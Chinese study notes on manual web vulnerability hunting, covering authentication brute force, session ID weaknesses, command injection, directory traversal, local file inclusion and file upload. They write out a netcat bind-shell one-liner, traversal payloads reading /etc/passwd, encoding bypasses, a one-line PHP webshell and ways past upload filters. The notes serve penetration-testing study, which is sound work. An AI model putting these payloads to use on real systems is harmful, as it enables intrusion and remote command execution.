手动漏洞挖掘-命令执行、目录遍历、文件包含、文件上传

身份认证

账号密码

  • 常用弱口令/基于字典的密码爆破
  • 锁定账号
    • 先手动多试几次,如果没有锁定机制,就可以爆破。
  • 信息收集
    • 手机号
    • 密码错误提示信息
      • 一些隐藏的信息比如错误码
    • 去分站搜集账号相关信息
  • 密码嗅探
  • 密码找回
    • 重置密码的url,观察随机数位数,128(MD5),160(SHA1),256(SHA2)

会话sessionID

  • Xss/cookie importer
  • SessionID in URL
  • 嗅探
  • SessionID 长期不变/永久不变
  • SessionID 生成算法
    • Sequencer
    • 私有算法(不建议使用,可能被破解)
    • 预判下一次登陆时生成的SessionID
    • 登出后点击返回测试,看sessionID是否失效

远程命令执行

  • 应用程序开发者直接调用操作系统功能
    • ; && | || &
    • ;mkfifo /tmp/pipe;sh /tmp/pipe|nc -nlp 4444> /tmp/pipe

目录遍历、文件包含

  • Directory traversal(可以读取web目录外的其它目录文件)/File include(操作系统其它位置文件被include到web目录)

    • 目录权限限制不严/文件包含
  • /etc/php5/cgi/php/ini

    • allow_url_include = on
      • sudo /etc/init.d/apache2 restart
  • 特征

    • ?page=a.php
    • ?home=b.html
    • ?file=content
    • url中的值=页面(也有可能在cookie中)
  • 经典测试方法

    • ?file=../../../../etc/passwd
    • ?page=file:///etc/passwd
    • ?home=
  • 编码绕过字符过滤

    • “.” “%00” #绕过文件拓展名过滤
    • url编码、双层url编码
      • %2e%2e%2f ../
      • %2e%2e%5c ..\
      • %252e%252e%252c ..\
    • Unicode/UTF-8编码
    • Base64
    • ASCII hex
  • 只过滤一次的绕过:

    • 如果过滤规则是abcd,则ab abcd cd,过滤掉中间的之后,又会构成
  • 其它系统路径可能使用到的字符

    • file.txt…
    • file.txt<space>
    • file.txt””””
    • file.txt<<<>>><
    • ./././file.txt
    • nonexistant/../file.txt
    • UNC路径
      • \1.1.1.1\path\to\file.txt
  • 本地文件包含 lfi

    • 查看文件
    • 代码执行
      • <?php echo shell exec ($_GET[‘cmd’])?>
      • Apache access.log
  • /usr/share/wfuzz/wordlist/vulns

生成自己的字典文件

  • 用以上编码及各种编码的组合生成测试的字典文件

文件上传

  • 文件上传漏洞
    • 一句话webshell
      • <?php echo shell exec ($_GET[‘cmd’])?>
    • 绕过:
      • mimetype
      • size
      • name
      • 文件内容的前几个字节,(把webshell写到图片的数据段)
        • a.php.jpeg
    • 防护:
      • 删除上传文件的目录的执行权限

总结

  • 放弃无限定范围的爆破。

  • 所有需要生成随机值的地方都要关注随机性。

  • 符号提交时尝试编码

手动漏洞挖掘原则(重要!!!)

  • 所有变量都要尝试!

  • 所有头

    • Cookie中的变量
  • 逐个变量删除,没有影响的东西可以删掉。

漏洞的本质

  • 数据和指令的混淆
  • 对用户输入信息过滤不严,判断失误

如何做

  • 首先了解常见漏洞类型,当检测时,就全部都尝试一遍。